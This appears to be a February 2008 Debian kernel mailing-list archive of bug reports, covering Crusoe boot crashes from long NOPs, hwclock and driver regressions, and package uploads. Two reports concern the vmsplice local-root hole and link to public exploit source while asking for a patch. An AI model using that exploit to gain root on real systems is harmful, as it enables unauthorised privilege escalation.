'testing-proposed-updates'), (300, 'testing'), (200, 'unstable'), (2, 'experimental') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-xen-686 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Versions of packages linux-image-2.6.24-1-xen-686 depends on: ii initramfs-tools 0.85h tools for generating an initramfs ii linux-modules-2.6.24-1-xen-68 2.6.24-3 Linux 2.6.24 modules on i686 Versions of packages linux-image-2.6.24-1-xen-686 recommends: ii libc6-xen 2.7-6 GNU C Library: Shared libraries [X -- no debconf information ---End Message--- ---BeginMessage--- No bug. This package does not support lagecy boot protocol. This is the fourth bug. Bastian ---End Message---
Processed: severity of 464962 is important
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.9.26 severity 464962 important Bug#464962: -686 build uses long noops, that are unsupported by Transmeta Crusoe, immediate crash on boot Severity set to `important' from `serious' End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464191: Sound broken with linux-image-2.6.24-1-686
So now I've got to recompile my kernel just to have sound? How nice. I haven't had to do that since about 1998. I guess this is good enough reason as any to remove Debian from my laptop. Sad too, it's been Debian since before Woody was released. ...Rob -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: reassign 465543 to linux-2.6
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.15 reassign 465543 linux-2.6 Bug#465543: vmsplice local root exploit on nvidia-kernel-2.6.18-5-486|686, CVE-2008-0163, CVE-2008-0600. Bug reassigned from package `nvidia-kernel-2.6.18-5-486' to `linux-2.6'. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465543: marked as done (vmsplice local root exploit on nvidia-kernel-2.6.18-5-486|686, CVE-2008-0163, CVE-2008-0600.)
Your message dated Tue, 12 Feb 2008 21:13:57 -0700 with message-id [EMAIL PROTECTED] and subject line Re: Bug#465543: vmsplice local root exploit on nvidia-kernel-2.6.18-5-486|686, CVE-2008-0163, CVE-2008-0600. has caused the Debian Bug report #465543, regarding vmsplice local root exploit on nvidia-kernel-2.6.18-5-486|686, CVE-2008-0163, CVE-2008-0600. to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 465543: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=465543 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: nvidia-kernel-2.6.18-5-486 Version: 1.0.8776+6etch1 Severity: critical Tags: security Justification: root security hole I tested the current exploits published on securityfocus and all get me a root shell from non privileged account. I would be glad if you can patch this package. -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-686 Locale: LANG=en_US, LC_CTYPE= (charmap=ISO-8859-1) Versions of packages nvidia-kernel-2.6.18-5-486 depends on: ii linux-image-2.6.18-5-48 2.6.18.dfsg.1-17 Linux 2.6.18 image on x86 ii nvidia-kernel-common20051028+1 NVIDIA binary kernel module common nvidia-kernel-2.6.18-5-486 recommends no packages. -- debconf-show failed ---End Message--- ---BeginMessage--- Version: 2.6.18.dfsg.1-18etch1 On Tue, Feb 12, 2008 at 09:58:52PM -0600, Vicm3 wrote: Package: nvidia-kernel-2.6.18-5-486 Version: 1.0.8776+6etch1 Severity: critical Tags: security Justification: root security hole I tested the current exploits published on securityfocus and all get me a root shell from non privileged account. I would be glad if you can patch this package. http://www.debian.org/security/2008/dsa-1494 -- dann frazier ---End Message---
Processing of linux-2.6_2.6.18.dfsg.1-18etch1_sparc.changes
linux-2.6_2.6.18.dfsg.1-18etch1_sparc.changes uploaded successfully to localhost along with the files: linux-headers-2.6.18-6-all_2.6.18.dfsg.1-18etch1_sparc.deb linux-headers-2.6.18-6-all-sparc_2.6.18.dfsg.1-18etch1_sparc.deb linux-headers-2.6.18-6_2.6.18.dfsg.1-18etch1_sparc.deb linux-image-2.6.18-6-sparc32_2.6.18.dfsg.1-18etch1_sparc.deb linux-headers-2.6.18-6-sparc32_2.6.18.dfsg.1-18etch1_sparc.deb linux-image-2.6.18-6-sparc64_2.6.18.dfsg.1-18etch1_sparc.deb linux-headers-2.6.18-6-sparc64_2.6.18.dfsg.1-18etch1_sparc.deb linux-image-2.6.18-6-sparc64-smp_2.6.18.dfsg.1-18etch1_sparc.deb linux-headers-2.6.18-6-sparc64-smp_2.6.18.dfsg.1-18etch1_sparc.deb linux-headers-2.6.18-6-vserver_2.6.18.dfsg.1-18etch1_sparc.deb linux-image-2.6.18-6-vserver-sparc64_2.6.18.dfsg.1-18etch1_sparc.deb linux-headers-2.6.18-6-vserver-sparc64_2.6.18.dfsg.1-18etch1_sparc.deb Greetings, Your Debian queue daemon -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#463606: Fails on my VIA box as well
The linux-image-2.6.24-1-686_2.6.24-3_i386.deb fails the same way on my VIA Nehemiah (C3) motherboard. On the other machine (Intel 440BX, PentiumIII 600MHz) the kernel works fine though. -- Arie
Bug#464962: immediate crash on boot on TM5800
Bastian Blank wrote: On Tue, Feb 12, 2008 at 01:42:50PM -0800, H. Peter Anvin wrote: Okay, the faulting instruction is the following: c0383360: 0f 1f 40 00 nopl 0x0(%eax) include/asm-x86/nops.h: | /* P6 nops */ | /* uses eax dependencies (Intel-recommended choice) */ [...] | #define P6_NOP4 .byte 0x0f,0x1f,0x40,0\n Yes, which requires a 686-class machine; gcc is also free to use these for -m686, so there is a userspace-visible difference, and thus the hack to call Crusoe a 686-class machine is not correct. Unfortunately there is no CPUID flag for these, only the CPU level. -hpa -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465512: linux-image-2.6.18-6-amd64: broken symlink /lib/modules/2.6.18-6-amd64/source
On Tue, Feb 12, 2008 at 12:55:45PM -0800, Michael Braden wrote: When installing the kernel package I get a message: Hmm. The package shipped with a symbolic link /lib/modules/2.6.18-6-amd64/source However, I can not read the target: No such file or directory Therefore, I am deleting /lib/modules/2.6.18-6-amd64/source Examining the package with dpkg-deb -c shows: lrwxrwxrwx root/root 0 2008-02-10 10:17 ./lib/modules/2.6.18-6-amd64/source - /home/blank/debian/kernel/release/linux-2.6/linux-2.6-2.6.18.dfsg.1/debian/build/build-amd64-none-amd64 /home/blank doesn't exist on my system. This seems to be left over from the build proccess. I'm not sure if this link is used elsewhere, if so it might cause other problems. I recall having seen this message in previous upgrades so it likely affects other kernel packages. thanks for reminder, nuked that useless warning for 2.6.25-1 very harmless. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: severity of 463716 is important, reassign 463716 to linux-2.6, merging 463716 386226
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.16 severity 463716 important Bug#463716: linux-image-2.6.24-1-686: hwclock fails without --directisa Bug#464910: hwclock doesn't work with this kernel Severity set to `important' from `normal' reassign 463716 linux-2.6 Bug#463716: linux-image-2.6.24-1-686: hwclock fails without --directisa Bug#464910: hwclock doesn't work with this kernel Bug reassigned from package `linux-image-2.6.24-1-686' to `linux-2.6'. merge 463716 386226 Bug#386226: linux-image-2.6.16-2-686-smp: Will not set clock and loses interrupts when rtc is used Bug#463716: linux-image-2.6.24-1-686: hwclock fails without --directisa Bug#398449: /sbin/hwclock: fails to use RTC, hence 1 hour shift in my TZ Bug#464910: hwclock doesn't work with this kernel Merged 386226 398449 463716 464910. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464910: FWD: time messed up since last kernel update
Perhaps it's time to upgrade this bug to serious? - Forwarded message from Douglas A. Tutty [EMAIL PROTECTED] - From: Douglas A. Tutty [EMAIL PROTECTED] Date: Tue, 12 Feb 2008 08:21:26 -0500 To: [EMAIL PROTECTED] Subject: time messed up since last kernel update User-Agent: Mutt/1.5.13 (2006-08-11) I'm running Etch-amd64 and updated the kernel yesterday. I shutdown the computer nightly. Today, when I booted up and read the daily report from anacron, I get lots of message from logrotate about logs being rotated are in the future. The new logs are dated 2005. I pon'ed the internet and ntp reset the clock. Here's a segment of syslog. You can see that prior to ntp setting the clock, the computer thought that it was Dec 31. Dec 31 19:44:54 titan ntpd[5610]: ntpd exiting on signal 15 Dec 31 19:44:56 titan ntpd[6973]: ntpd [EMAIL PROTECTED] Sun Mar 4 13:05:22 UTC 2007 (1) Dec 31 19:44:56 titan ntpd[6974]: precision = 1.000 usec Dec 31 19:44:56 titan ntpd[6974]: Listening on interface wildcard, 0.0.0.0#123 Disabled Dec 31 19:44:56 titan ntpd[6974]: Listening on interface wildcard, ::#123 Disabled Dec 31 19:44:56 titan ntpd[6974]: Listening on interface lo, ::1#123 Enabled Dec 31 19:44:56 titan ntpd[6974]: Listening on interface eth1, fe80::217:31ff:fecb:efeb#123 Enabled Dec 31 19:44:56 titan ntpd[6974]: Listening on interface lo, 127.0.0.1#123 Enabled Dec 31 19:44:56 titan ntpd[6974]: Listening on interface eth1, 192.168.1.1#123 Enabled Dec 31 19:44:56 titan ntpd[6974]: Listening on interface ppp0, 209.29.44.1#123 Enabled Dec 31 19:44:56 titan ntpd[6974]: kernel time sync status 0040 Dec 31 19:44:56 titan ntpd[6974]: frequency initialized -35.886 PPM from /var/lib/ntp/ntp.drift Dec 31 19:45:06 titan ntpd_initres[5629]: parent died before we finished, exiting Feb 12 08:06:47 titan ntpd[6974]: synchronized to 132.246.168.164, stratum 2 Feb 12 08:06:47 titan ntpd[6974]: time reset +66745300.210157 s Feb 12 08:06:47 titan ntpd[6974]: kernel time sync enabled 0001 Did anybody else have this problem? I guess I'll see if there's a problem tomorrow. In case it matters, this is an Athlon64 3800+, socket AM2, on an Asus M2N-SLI Deluxe MB (nVidia chipset uses Forcedeth driver) with 1 GB ram. Doug. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED] - End forwarded message - -- see shy jo signature.asc Description: Digital signature
Bug#464962: immediate crash on boot on TM5800
H. Peter Anvin wrote: Okay, the faulting instruction is the following: c0383360: 0f 1f 40 00 nopl 0x0(%eax) The Crusoe code morphing software apparently doesn't recognize these long noops, and (presumably) the rest of the hinting NOOP group. gcc didn't use to generate them, and Crusoe/Efficeon generally do not benefit from code alignment anyway. I suspect the best thing to do is to use either a 586 kernel or build a dedicated Crusoe kernel without code alignment. If the debian kernel team concurs with this let me know and I'll arrange for d-i to install the -486 build for crusoe. (Will suck for upgraders tho..) -- see shy jo signature.asc Description: Digital signature
Re: .24-rc7 defaults to pata?
On this etch host rc8 went with pata too, but 2.6.24-4 goes back to ide drivers on default ramdisk etc settings. Great, but was this fixed by upstream or some Debian change which I missed from the changelog? -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: retitle 464962 to -686 build uses long noops, that are unsupported by Transmeta Crusoe, immediate crash on boot
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.16 retitle 464962 -686 build uses long noops, that are unsupported by Transmeta Crusoe, immediate crash on boot Bug#464962: immediate crash on boot on TM5800 Changed Bug title to `-686 build uses long noops, that are unsupported by Transmeta Crusoe, immediate crash on boot' from `immediate crash on boot on TM5800'. End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processed: bug 464962 is forwarded to [EMAIL PROTECTED]
Processing commands for [EMAIL PROTECTED]: # Automatically generated email from bts, devscripts version 2.10.16 forwarded 464962 [EMAIL PROTECTED] Bug#464962: immediate crash on boot on TM5800 Noted your statement that Bug has been forwarded to [EMAIL PROTECTED] End of message, stopping processing here. Please contact me if you need assistance. Debian bug tracking system administrator (administrator, Debian Bugs database) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
H. Peter Anvin wrote: maximilian attems wrote: On Tue, Feb 12, 2008 at 12:32:27PM -0800, H. Peter Anvin wrote: INT 6 is #UD, undefined instruction. If you could send me a copy of your vmlinux file (not bzImage), it would speed things up. cp -l src/linux-2.6-2.6.24/debian/build/build_i386_none_686/vmlinux ~/public_html/ http://charm.itp.tuwien.ac.at/~mattems/ Are you sure that build matches the bug report? The EIP given falls inside the .data segment of that kernel, specifically inside the symbol init_task. The stack trace I copied down originally was for a 2.6.24 kernel. I can copy down the one .25-pre if that'd be useful, but it sounds like you're reproduced it on your own. (I'm raising the priority of this bug report since it sounds like it affects more than just my hardware.) -- see shy jo signature.asc Description: Digital signature
Bug#464933: r8169 doesn't work with 2.6.24.2
please refer to bug #465510 for the same problem, with more info attached. thanks! -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
On Tue, Feb 12, 2008 at 01:14:04PM -0800, H. Peter Anvin wrote: Are you sure that build matches the bug report? urrgs right sorry, the posted vmlinux is a newer 2.6.24-git22 and not Version: 2.6.24-3 The EIP given falls inside the .data segment of that kernel, specifically inside the symbol init_task. -hpa will rebuild aboves. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Processing of redhat-cluster_2.20080212-1_amd64.changes
redhat-cluster_2.20080212-1_amd64.changes uploaded successfully to localhost along with the files: redhat-cluster_2.20080212-1.dsc redhat-cluster_2.20080212.orig.tar.gz redhat-cluster_2.20080212-1.diff.gz cman_2.20080212-1_amd64.deb libcman2_2.20080212-1_amd64.deb libcman-dev_2.20080212-1_amd64.deb libdlm2_2.20080212-1_amd64.deb libdlm-dev_2.20080212-1_amd64.deb gfs-tools_2.20080212-1_amd64.deb gfs2-tools_2.20080212-1_amd64.deb gnbd-client_2.20080212-1_amd64.deb gnbd-server_2.20080212-1_amd64.deb rgmanager_2.20080212-1_amd64.deb redhat-cluster-suite_2.20080212-1_all.deb redhat-cluster-source_2.20080212-1_all.deb Greetings, Your Debian queue daemon -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
maximilian attems wrote: On Tue, Feb 12, 2008 at 12:32:27PM -0800, H. Peter Anvin wrote: INT 6 is #UD, undefined instruction. If you could send me a copy of your vmlinux file (not bzImage), it would speed things up. cp -l src/linux-2.6-2.6.24/debian/build/build_i386_none_686/vmlinux ~/public_html/ http://charm.itp.tuwien.ac.at/~mattems/ Are you sure that build matches the bug report? The EIP given falls inside the .data segment of that kernel, specifically inside the symbol init_task. -hpa -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
maximilian attems wrote: On Tue, Feb 12, 2008 at 01:14:04PM -0800, H. Peter Anvin wrote: Are you sure that build matches the bug report? urrgs right sorry, the posted vmlinux is a newer 2.6.24-git22 and not Version: 2.6.24-3 The EIP given falls inside the .data segment of that kernel, specifically inside the symbol init_task. -hpa will rebuild aboves. Okay, the faulting instruction is the following: c0383360: 0f 1f 40 00 nopl 0x0(%eax) The Crusoe code morphing software apparently doesn't recognize these long noops, and (presumably) the rest of the hinting NOOP group. gcc didn't use to generate them, and Crusoe/Efficeon generally do not benefit from code alignment anyway. I suspect the best thing to do is to use either a 586 kernel or build a dedicated Crusoe kernel without code alignment. -hpa -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
maximilian attems wrote: On Tue, Feb 12, 2008 at 01:14:04PM -0800, H. Peter Anvin wrote: Are you sure that build matches the bug report? urrgs right sorry, the posted vmlinux is a newer 2.6.24-git22 and not Version: 2.6.24-3 The EIP given falls inside the .data segment of that kernel, specifically inside the symbol init_task. -hpa will rebuild aboves. Don't worry about it, already have reproduced it. -hpa -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464523: linux-image-2.6.24-1-amd64: b43 needs patches for kernel 2.6.24
Am Dienstag, 12. Februar 2008 20:52:52 schrieb maximilian attems: quick edit in /etc/kerneloops.conf and reboot into faulty kernel. so upstream will be notified on your oops. Done: http://www.kerneloops.org/raw.php?rawid=3645msgid= i don't like the tainted flag, why does that come? No idea. Sorry. -- Andreas Richter URLs: http://ar.oszine.de | http://www.oszine.de GPG-KeyID: 0x7BA12DD9 Fingerprint: D2E9 202B F4F0 EB16 25DE 5FF7 0CF2 3C57 7BA1 2DD9 signature.asc Description: This is a digitally signed message part.
Bug#465508: linux-image-2.6.24-1-686: Kernel freeze all system
Package: linux-image-2.6.24-1-686 Version: 2.6.24-4 Severity: grave Justification: renders package unusable Using Debian Sid and linux-image-2.6.24-686: System is complete freeze when amsn application starts session. Amsn works well with previous linux images as like as 2.6.22-3-686. When system is freeze, I press Alt + Impr + b and kernel do not reboot. -- Package-specific info: -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-686 (SMP w/1 CPU core) Locale: LANG=es_ES.UTF-8, LC_CTYPE=es_ES.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages linux-image-2.6.24-1-686 depends on: ii debconf [debconf-2.0]1.5.19 Debian configuration management sy ii initramfs-tools [linux-initr 0.91d tools for generating an initramfs ii module-init-tools3.3-pre11-4 tools for managing Linux kernel mo Versions of packages linux-image-2.6.24-1-686 recommends: ii libc6-i6862.7-6 GNU C Library: Shared libraries [i -- debconf information: shared/kernel-image/really-run-bootloader: true linux-image-2.6.24-1-686/preinst/overwriting-modules-2.6.24-1-686: true linux-image-2.6.24-1-686/postinst/bootloader-error-2.6.24-1-686: linux-image-2.6.24-1-686/postinst/create-kimage-link-2.6.24-1-686: true linux-image-2.6.24-1-686/postinst/old-system-map-link-2.6.24-1-686: true linux-image-2.6.24-1-686/prerm/would-invalidate-boot-loader-2.6.24-1-686: true linux-image-2.6.24-1-686/preinst/initrd-2.6.24-1-686: linux-image-2.6.24-1-686/preinst/failed-to-move-modules-2.6.24-1-686: linux-image-2.6.24-1-686/postinst/depmod-error-initrd-2.6.24-1-686: false linux-image-2.6.24-1-686/preinst/bootloader-initrd-2.6.24-1-686: true linux-image-2.6.24-1-686/postinst/old-initrd-link-2.6.24-1-686: true linux-image-2.6.24-1-686/preinst/lilo-has-ramdisk: linux-image-2.6.24-1-686/postinst/old-dir-initrd-link-2.6.24-1-686: true linux-image-2.6.24-1-686/preinst/abort-install-2.6.24-1-686: linux-image-2.6.24-1-686/prerm/removing-running-kernel-2.6.24-1-686: true linux-image-2.6.24-1-686/postinst/depmod-error-2.6.24-1-686: false linux-image-2.6.24-1-686/preinst/abort-overwrite-2.6.24-1-686: linux-image-2.6.24-1-686/preinst/elilo-initrd-2.6.24-1-686: true linux-image-2.6.24-1-686/postinst/bootloader-test-error-2.6.24-1-686: linux-image-2.6.24-1-686/postinst/kimage-is-a-directory: linux-image-2.6.24-1-686/preinst/lilo-initrd-2.6.24-1-686: true -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464523: linux-image-2.6.24-1-amd64: b43 needs patches for kernel 2.6.24
On Tuesday 12 February 2008 20:52:52 maximilian attems wrote: b43-phy2: Broadcom 4311 WLAN found Get a recent wireless-2.6 kernel to get the device working. -- Greetings Michael. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465501: /var/lib/linux-image-2.6.24-1-xen-686/xen-versions empty
Package: linux-image-2.6.24-1-xen-686 Version: 2.6.24-3 Severity: normal File: /var/lib/linux-image-2.6.24-1-xen-686/xen-versions Hello, in the package linux-image-2.6.24-1-xen-686 the file /var/lib/linux-image-2.6.24-1-xen-686/xen-versions is empty and so update-grub doesn't add Xen 3.0.3-1-i386-pae / Debian GNU/Linux, kernel 2.6.24-1-xen-686 to /boot/grub/menu.lst. I tried to understand how xen-versions is generated, but I gave up, so I have no patch for you. Best regards Uwe -- System Information: Debian Release: 4.0 APT prefers proposed-updates APT policy: (900, 'proposed-updates'), (900, 'stable'), (300, 'testing-proposed-updates'), (300, 'testing'), (200, 'unstable'), (2, 'experimental') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-xen-686 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Versions of packages linux-image-2.6.24-1-xen-686 depends on: ii initramfs-tools 0.85h tools for generating an initramfs ii linux-modules-2.6.24-1-xen-68 2.6.24-3 Linux 2.6.24 modules on i686 Versions of packages linux-image-2.6.24-1-xen-686 recommends: ii libc6-xen 2.7-6 GNU C Library: Shared libraries [X -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
On Tue, Feb 12, 2008 at 02:52:54PM -0500, Joey Hess wrote: maximilian attems wrote: thanks for quick feedback, have prebuild 2.6.25-rc1-git2 (they contain the security fix, but don't seem to suspend here) anyway please test for boot - http://charm.itp.tuwien.ac.at/~mattems/2.6.25-rc1-git2/ Still fails the same. if those again don't boot please file info upstream on bugzilla.kernel.org so that relevant new x86 arch maintainer fix that up. Um, could the kernel team forward this bug? well we have no automated way to do so as we are underpowered in terms of bug nrs, it is routine to ask to file upstream. the debian kernel does not carry any x86 specific patch. also it is often much easier if upstream speaks directly with the person that has the hardware at hand. * I don't have an account on this bugzilla, or actually, on any bugzilla on earth. * I don't know exactly what versions you've had me test. * I guess they'll want to know things about compile options that I don't know. sure, ack. so i'll circumvent bugzilla and add the new x86 maintainers on cc to let them know about the 2.6.24 and 2.6.25-rc1 boot error on shiny fujitsu p700 lifebook, with a Crusoe processor. http://bugs.debian.org/464962 686 config attached. config-2.6.24-1-686.bz2 Description: Binary data
Bug#465506: Warnings compiling linux-source-2.6.24
Package: linux-source-2.6.24 Version: 2.6.24-4 When I compile the kernel and modules from linux-source-2.6.24-4 I receive the following warning: arch/x86/kernel/setup64.c: In function ‘setup_per_cpu_areas’: arch/x86/kernel/setup64.c:103: warning: the address of ‘contig_page_data’ will always evaluate as ‘true’ $ cd /usr/src/linux-source-2.6.24 $ make-kpkg --revision=2.6.24.custom binary modules_image arch/x86/kernel/setup64.c: In function ‘setup_per_cpu_areas’: arch/x86/kernel/setup64.c:103: warning: the address of ‘contig_page_data’ will always evaluate as ‘true’ I don't think this is very severe, it might just be that it has to be 'config_page_data' instead of 'contig_page_data'. I am using Debian GNU/Linux lenny/sid, kernel 2.6.24-1-amd64 and glibc 2.7-6 (libc6_2.7-6_amd64) Cheers! -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465246: marked as done (user-root exploit in vmsplice())
Your message dated Mon, 11 Feb 2008 13:02:15 + with message-id [EMAIL PROTECTED] and subject line Bug#464945: fixed in linux-2.6 2.6.24-4 has caused the Debian Bug report #464945, regarding user-root exploit in vmsplice() to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact [EMAIL PROTECTED] immediately.) -- 464945: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464945 Debian Bug Tracking System Contact [EMAIL PROTECTED] with problems ---BeginMessage--- Package: linux-image-2.6.18-6-686 Version: 2.6.18.dfsg.1-17etch1 Severity: important There is a bug in vmsplice from 2.6.17 to 2.6.24.1 that can be exploited by any user process to gain root privileges. info is here http://isc.sans.org/newssummary.html which links to the source code for the exploit here: http://www.milw0rm.com/exploits/5092 ...which has been tested, and works like a charm. Also here: http://www.isec.pl/vulnerabilities/isec-0026-vmsplice_to_kernel.txt ...which describes the exploit in more detail. ---End Message--- ---BeginMessage--- Source: linux-2.6 Source-Version: 2.6.24-4 We believe that the bug you reported is fixed in the latest version of linux-2.6, which is due to be installed in the Debian FTP archive: linux-2.6_2.6.24-4.diff.gz to pool/main/l/linux-2.6/linux-2.6_2.6.24-4.diff.gz linux-2.6_2.6.24-4.dsc to pool/main/l/linux-2.6/linux-2.6_2.6.24-4.dsc linux-doc-2.6.24_2.6.24-4_all.deb to pool/main/l/linux-2.6/linux-doc-2.6.24_2.6.24-4_all.deb linux-headers-2.6.24-1-all-powerpc_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-all-powerpc_2.6.24-4_powerpc.deb linux-headers-2.6.24-1-all_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-all_2.6.24-4_powerpc.deb linux-headers-2.6.24-1-common_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-common_2.6.24-4_powerpc.deb linux-headers-2.6.24-1-powerpc-miboot_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-powerpc-miboot_2.6.24-4_powerpc.deb linux-headers-2.6.24-1-powerpc-smp_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-powerpc-smp_2.6.24-4_powerpc.deb linux-headers-2.6.24-1-powerpc64_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-powerpc64_2.6.24-4_powerpc.deb linux-headers-2.6.24-1-powerpc_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-headers-2.6.24-1-powerpc_2.6.24-4_powerpc.deb linux-image-2.6.24-1-powerpc-miboot_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-image-2.6.24-1-powerpc-miboot_2.6.24-4_powerpc.deb linux-image-2.6.24-1-powerpc-smp_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-image-2.6.24-1-powerpc-smp_2.6.24-4_powerpc.deb linux-image-2.6.24-1-powerpc64_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-image-2.6.24-1-powerpc64_2.6.24-4_powerpc.deb linux-image-2.6.24-1-powerpc_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-image-2.6.24-1-powerpc_2.6.24-4_powerpc.deb linux-libc-dev_2.6.24-4_powerpc.deb to pool/main/l/linux-2.6/linux-libc-dev_2.6.24-4_powerpc.deb linux-manual-2.6.24_2.6.24-4_all.deb to pool/main/l/linux-2.6/linux-manual-2.6.24_2.6.24-4_all.deb linux-patch-debian-2.6.24_2.6.24-4_all.deb to pool/main/l/linux-2.6/linux-patch-debian-2.6.24_2.6.24-4_all.deb linux-source-2.6.24_2.6.24-4_all.deb to pool/main/l/linux-2.6/linux-source-2.6.24_2.6.24-4_all.deb linux-support-2.6.24-1_2.6.24-4_all.deb to pool/main/l/linux-2.6/linux-support-2.6.24-1_2.6.24-4_all.deb linux-tree-2.6.24_2.6.24-4_all.deb to pool/main/l/linux-2.6/linux-tree-2.6.24_2.6.24-4_all.deb A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to [EMAIL PROTECTED], and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Bastian Blank [EMAIL PROTECTED] (supplier of updated linux-2.6 package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing [EMAIL PROTECTED]) -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Format: 1.7 Date: Mon, 11 Feb 2008 12:29:23 +0100 Source: linux-2.6 Binary: linux-source-2.6.24 linux-doc-2.6.24 linux-manual-2.6.24 linux-patch-debian-2.6.24 linux-tree-2.6.24 linux-support-2.6.24-1 linux-libc-dev linux-headers-2.6.24-1-all linux-headers-2.6.24-1-all-alpha linux-headers-2.6.24-1-common linux-image-2.6.24-1-alpha-generic linux-headers-2.6.24-1-alpha-generic linux-image-2.6.24-1-alpha-smp linux-headers-2.6.24-1-alpha-smp
Bug#464962: immediate crash on boot on TM5800
